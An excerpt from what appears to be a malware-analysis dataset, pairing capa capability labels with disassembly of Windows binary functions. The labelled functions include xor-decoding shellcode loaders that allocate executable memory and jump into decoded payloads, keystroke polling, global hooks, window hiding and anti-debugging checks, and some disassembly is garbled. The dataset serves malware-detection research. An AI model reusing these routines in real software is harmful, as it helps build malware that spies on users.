joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1000f197
pop dword [ebp - 0x2c]
mov eax, 0x1000f197
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3f261
push 0
mov eax, 0x6b24950c
add eax, 0xa4dcab58
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x919896d8
add ecx, 0x6e67c96e
xor esi, esi
add esi, eax
mov edi, 0xd9e730be
add edi, 0x361a5542
add edi, dword [ebp - 0x2c]
mov edx, 0x8b345728
add edx, 0x9cfcf844
sub dword [ebp - 0x1c], 0x7386b35b
mov ebx, dword [edi]
xor ebx, edx
add dword [ebp - 0xc], edx
mov dword [esi], ebx
xor dword [ebp - 0x28], 0x336fd225
add esi, 0xdc379f2a
add esi, 0x23c860da
add edi, 4
loop 0x1000f1f3
add eax, 0xb165e240
add eax, 0x4e9b91ab
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7ef122ce
add ecx, 0x910edd32
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x1004f944
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1004f953
pop dword [ebp - 0x48]
mov eax, 0x59c8726b
add eax, 0xb63c86e8
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x5eee9eb3
sub dword [ebp - 0x58], 0x109c5968
mov dword [ebp - 0x54], 0x79509782
sub dword [ebp - 0x54], 0x471d4b3d
mov dword [ebp - 0x50], 0x519f8cae
add dword [ebp - 0x50], 0xfaacb780
mov dword [ebp - 0x4c], 0x5b51977a
sub dword [ebp - 0x4c], 0x5b51977a
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x5462e8e6
sub dword [ebp - 0x58], 0xdff07f90
mov dword [ebp - 0x54], 0xf772dcea
add dword [ebp - 0x54], 0x49f9848b
mov dword [ebp - 0x50], 0xf0a714d0
add dword [ebp - 0x50], 0x72c8579c
mov dword [ebp - 0x4c], 0x84bc33b2
sub dword [ebp - 0x4c], 0x84bc33b2
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x9a8cf4ce
sub eax, 0x8a87648e
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x611ff
push 0
call eax
mov ecx, 0x567e
xor ebx, ebx
add ebx, eax
mov edx, 0x688f5b92
add edx, 0xa777386e
add edx, dword [ebp - 0x48]
mov edi, 0x1375ca30
sub edi, 0xfb1bd015
mov esi, dword [edx]
add dword [ebp - 0x28], 0x552e4848
xor esi, edi
xor dword [ebp - 0x18], 0x57f91b07
mov dword [ebx], esi
add dword [ebp - 0x10], ecx
add ebx, 0xe66a3fa1
sub ebx, 0xe66a3f9d
add edx, 4
loop 0x1004fa6c
add eax, 0x14ccb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x42c470
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], edx
xor eax, eax
mov dword [ebp - 0x14], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x49775c], 0
sete dl
or al, dl
jne 0x42c5b4
mov eax, dword [0x497760]
mov bx, 0xffff
call fcn.00403134
mov eax, dword [0x49775c]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x42c583
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x49775c]
call fcn.00410edc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
je 0x42c57b
mov eax, dword [ebp - 0x10]
cmp byte [eax + 0x16c], 0
je 0x42c57b
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42c57b
mov eax, dword [ebp - 0x10]
call fcn.0043433c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42c57b
push ebp
call fcn.0042c42c
pop ecx
test al, al
jne 0x42c57b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x8c]
cmp eax, dword [ebp - 0x10]
jne 0x42c537
mov eax, dword [ebp - 0x10]
call fcn.00432c48
dec eax
jle 0x42c57b
mov byte [ebp - 0x15], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x15]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov bx, 0xffc2
call fcn.00403134
cmp byte [ebp - 0x15], 0
je 0x42c57b
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42c57b
mov edx, dword [ebp - 0x10]
mov eax, dword [0x497760]
call fcn.0042bcdc
inc edi
dec esi
jne 0x42c4ca
mov eax, dword [0x497760]
cmp dword [eax + 8], 0
jle 0x42c59b
mov eax, dword [0x497760]
call fcn.0042bd6c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x42c5b4
push ebp
mov eax, dword [ebp - 0x14]
call fcn.0042c2e4
pop ecx
test al, al
jne 0x42c5b4
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4486e8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44888d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x40f9d4]
call fcn.00402f28
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403b4c
push 0
call sub.user32.dll_GetKeyboardLayout
mov edx, dword [ebp - 4]
mov dword [edx + 0x30], eax
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x448863
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004389e0
test al, al
je 0x448856
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44889c
lea eax, [ebp - 0x254]
call fcn.00409668
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x448856
xor eax, eax
push ebp
push 0x44884f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x4488d4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x448838
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403d78
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x448838
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403d78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x448856
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x448759
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.0041348c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x448894
lea eax, [ebp - 0x260]
call fcn.00403b4c
ret

Function at 0x449030
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4977a8]
cmp byte [eax + 0x8d], 0
jne 0x4490a1
cmp dword [0x4977e4], 0
jne 0x449062
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x448fec
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4977e4], eax
cmp dword [0x4977e0], 0
jne 0x44907d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4977e0], eax
cmp dword [0x4977e8], 0
jne 0x4490a1
push esp
push 0
push 0
push 0x448f90
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4977e8], eax
pop edx
ret
Function at 0x44a048
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x8c], 0
je 0x44a07d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403c30
jmp 0x44a087
mov eax, esi
mov edx, dword [ebx + 0x74]
call fcn.00403be4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44af8c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x6c]
test esi, esi
je 0x44afc4
mov eax, esi
call fcn.00434764
test al, al
je 0x44afc4
mov eax, dword [ebx + 0x6c]
call fcn.0043433c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44afc4
push 0
mov eax, dword [ebx + 0x6c]
call fcn.0043433c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4513b0
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x4513de
mov eax, ebx
call fcn.00451e54
cmp dword [ebx + 0x3c], 0
je 0x4513d7
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x45144f
mov edx, dword [ebx + 0x1a6]
cmp dword [edx + 0x10], 0
je 0x451441
cmp dword [ebx + 8], 0
je 0x451400
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1a6]
call dword [edx]
test eax, eax
jne 0x451412
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x451441
cmp dword [ebx + 8], 0
je 0x4513f3
cmp eax, 3
je 0x451425
dec eax
jne 0x4513f3
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4513f3
mov edx, dword [ebx + 0x132]
add dword [eax + 8], edx
jmp 0x4513f3
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x45146d
cmp dword [ebx + 0x10], 0xcc
je 0x45146d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00451478
pop ebx
ret
Function at 0x472688
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x47267d
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x47269b
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
add byte [eax], al
add byte [eax], al
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4726f9
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4726e0
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x4726e9
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x4726f3
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4726d5
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x47265f
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x472746
dec eax
je 0x47273d
sub eax, 3
je 0x472734
mov dword [ebp - 4], 0x40
jmp 0x472763
mov dword [ebp - 4], 4
jmp 0x472749
mov dword [ebp - 4], 0x20
jmp 0x472749
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
invalid
mov ch, 0x54
invalid
Function at 0x472c98
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
cmp dword [ebp + 0xc], 8
jne 0x472e2c
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
mov byte [ebp - 0x6a2], 0x64
lea eax, [ebp - 0x6b8]
push eax
call fcn.00471fb6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00471f6b
add esp, 0xc
mov dword [ebp - 0x690], eax
mov byte [ebp - 0x6a0], 0x8b
or byte [ebp - 0x69f], 0xff
mov byte [ebp - 0x69e], 0x55
mov byte [ebp - 0x69d], 0x8b
mov byte [ebp - 0x69c], 0xec
lea eax, [ebp - 0x694]
push eax
push 5
lea eax, [ebp - 0x6a0]
push eax
push dword [ebp - 0x33c]
push 0xffffffffffffffff
call dword [ebp - 0x690]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6c0], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x6bc], eax
push 0x1000
push 8
push dword [ebp - 0x674]
call dword [ebp - 0x67c]
mov dword [ebp - 0x698], eax
call fcn.00471fa6
int 0xe5
sar eax, 1
push dword [ebp - 0x698]
lea eax, [ebp - 0x6c0]
push eax
push dword [ebp + 8]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00472182
add esp, 0x14
call fcn.00471fa6
fist dword [edi - 0x4a007a36]
push 0x6afffff9
add edi, edi
mov ch, 0x8c
stc
invalid
call fcn.00471fa6
ja 0x472e48
xchg ecx, eax
pop ecx
and byte [ebp - 0x544], 0
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
add al, 1
add byte [eax], al
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.00471fa6
fadd st(2), st(0)
clc
xor al, 0x80
invalid
movsd dword es:[edi], dword [esi]
sar ch, 1
invalid
Function at 0x478eef
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x496256
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x478f47
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x496277
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x478f3d
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x478f4b
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x49373c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403f7c
mov eax, dword [ebp - 8]
call fcn.00403f7c
mov eax, dword [ebp - 0xc]
call fcn.00403f7c
xor eax, eax
push ebp
push 0x49380b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x493824
call fcn.00403dd0
lea eax, [ebp - 8]
mov edx, 0x493824
call fcn.00403dd0
lea eax, [ebp - 0xc]
mov edx, 0x493824
call fcn.00403dd0
mov bl, 1
push 1
lea eax, [ebp - 0xc]
call fcn.00403f98
push eax
lea eax, [ebp - 8]
call fcn.00403f98
push eax
lea eax, [ebp - 4]
call fcn.00403f98
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
jae 0x4937f0
xor ebx, ebx
push 0
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, 0x493830
call fcn.00403e14
mov eax, dword [ebp - 0x10]
mov cx, word [0x493844]
mov dl, 1
call fcn.0044e270
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x493812
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403b70
ret
Function at 0x1000f938
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1019a0b0]
jne 0x1000f942
repz ret
jmp fcn.10010a3c

Function at 0x10011c0b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000ee64
and dword [ebp - 4], 0
cmp dword [0x1019bd64], 0
mov ebx, eax
jne 0x10011cbc
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10011d6d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10011d6d
push eax
call fcn.1000edf2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1019bd64], eax
call esi
push eax
call fcn.1000edf2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1019bd68], eax
call esi
push eax
call fcn.1000edf2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1019bd6c], eax
call esi
push eax
call fcn.1000edf2
pop ecx
mov dword [0x1019bd74], eax
test eax, eax
je 0x10011cbc
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000edf2
pop ecx
mov dword [0x1019bd70], eax
mov eax, dword [0x1019bd70]
cmp eax, ebx
je 0x10011d14
cmp dword [0x1019bd74], ebx
je 0x10011d14
push eax
call fcn.1000ee6d
push dword [0x1019bd74]
mov esi, eax
call fcn.1000ee6d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10011d14
test edi, edi
je 0x10011d14
call esi
test eax, eax
je 0x10011d0b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10011d0b
test byte [ebp - 0xc], 1
jne 0x10011d14
or dword [ebp + 0x10], 0x200000
jmp 0x10011d4d
mov eax, dword [0x1019bd68]
cmp eax, ebx
je 0x10011d4d
push eax
call fcn.1000ee6d
pop ecx
test eax, eax
je 0x10011d4d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10011d4d
mov eax, dword [0x1019bd6c]
cmp eax, ebx
je 0x10011d4d
push eax
call fcn.1000ee6d
pop ecx
test eax, eax
je 0x10011d4d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1019bd64]
call fcn.1000ee6d
pop ecx
test eax, eax
je 0x10011d6d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10011d6f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10013029
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10199a70], 0
mov byte [0x10199a74], 0
mov dword [0x10199a68], 0xdd8
mov dword [0x10199a64], 0x1867
mov dword [0x10199a6c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10199a6c]
add eax, 1
mov dword [0x10199a6c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10013078
xor eax, eax
mov ecx, 0x1c52
mov dword [0x10199a64], 0x1c52
mov dword [0x10199a6c], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
mov dword [ebp - 0x28], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x10199a78], 0
mov edi, dword [ebp - 0x28]
add edi, 0xfffff22e
mov ebx, dword [0x10199a70]
mov esi, dword [ebp - 0x18]
movzx esi, byte [esi + ecx]
add esi, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add esi, edx
mov dword [0x10199a78], esi
mov dword [0x10199a64], edi
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x10199a70], edx
mov edi, dword [ebp - 0x18]
mov bl, byte [edi + ecx]
mov byte [0x10199a74], bl
mov dword [0x10199a64], 0x1300
mov bl, byte [edi + edx]
mov byte [edi + ecx], bl
mov bl, byte [0x10199a74]
mov ecx, dword [0x10199a70]
mov byte [edi + ecx], bl
mov ecx, dword [0x10199a68]
mov edx, ecx
add edx, 0xfffff3f9
mov dword [0x10199a64], edx
mov esi, dword [0x10199a6c]
add esi, 1
mov dword [0x10199a6c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x24], edx
jl 0x100130bf
mov eax, dword [ebp - 0x30]
add eax, 0xffffef7b
mov dword [0x10199a64], eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1001319b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x10199a68], 0xbaf
mov dword [0x10199a64], 0x77a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1017bb04]
mov dh, byte [eax + 0x1017bad5]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
jne 0x100131c6
lea eax, [ebp - 0x20]
mov dword [0x10199a68], 0x8c2
mov dword [0x10199a64], 0x2310
mov dword [ebp - 0x30], eax
call fcn.10012f5e
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.10012b8d
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
je 0x100132e0
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10199a64]
add ecx, 0xffffee8b
mov dword [0x10199a64], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10013783
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x10199a68], 0x322
mov dword [ecx + 0xd0], 0x4550
mov dword [0x10199a64], 0xfb1
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x38], ecx
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x100132e0
mov eax, dword [0x10199a68]
mov ecx, dword [ebp - 0x3c]
add ecx, 0x22a9
add eax, 0xfffff237
mov dword [0x10199a64], eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
Function at 0x100135f0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10199a68]
add eax, 0xfffffd5c
mov dword [0x10199a68], eax
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x10199a64], 0x2650
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10199a68], 0x129
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10013689
mov eax, 0x29da
mov dword [0x10199a64], 0x13c5
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x18], eax
je 0x1001373d
jmp 0x1001376e
mov eax, 0x29da
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
je 0x1001375a
jmp 0x1001376e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x100136b6
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jl 0x10013689
mov eax, dword [ebp - 0x20]
mov ecx, 0x35f0
mov dword [0x10199a64], 0x1fdb
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jne 0x1001376e
mov eax, 0x199d
mov dword [0x10199a64], 0x388
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x18], eax
jne 0x1001376e
mov eax, 0x199d
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x18], eax
jne 0x1001376e
mov eax, 0xfffff9e7
mov dword [0x10199a64], 0xffffe3d2
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x18], eax
je 0x1001363f
jmp 0x1001376e
mov eax, 0x29da
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x18], eax
je 0x10013669
jmp 0x1001376e
mov eax, 1
mov dword [0x10199a68], 0xfa2
mov dword [ebp - 0x24], eax
jmp 0x1001377b
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [0x10199a64], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
add esp, 0x24
pop ebp
ret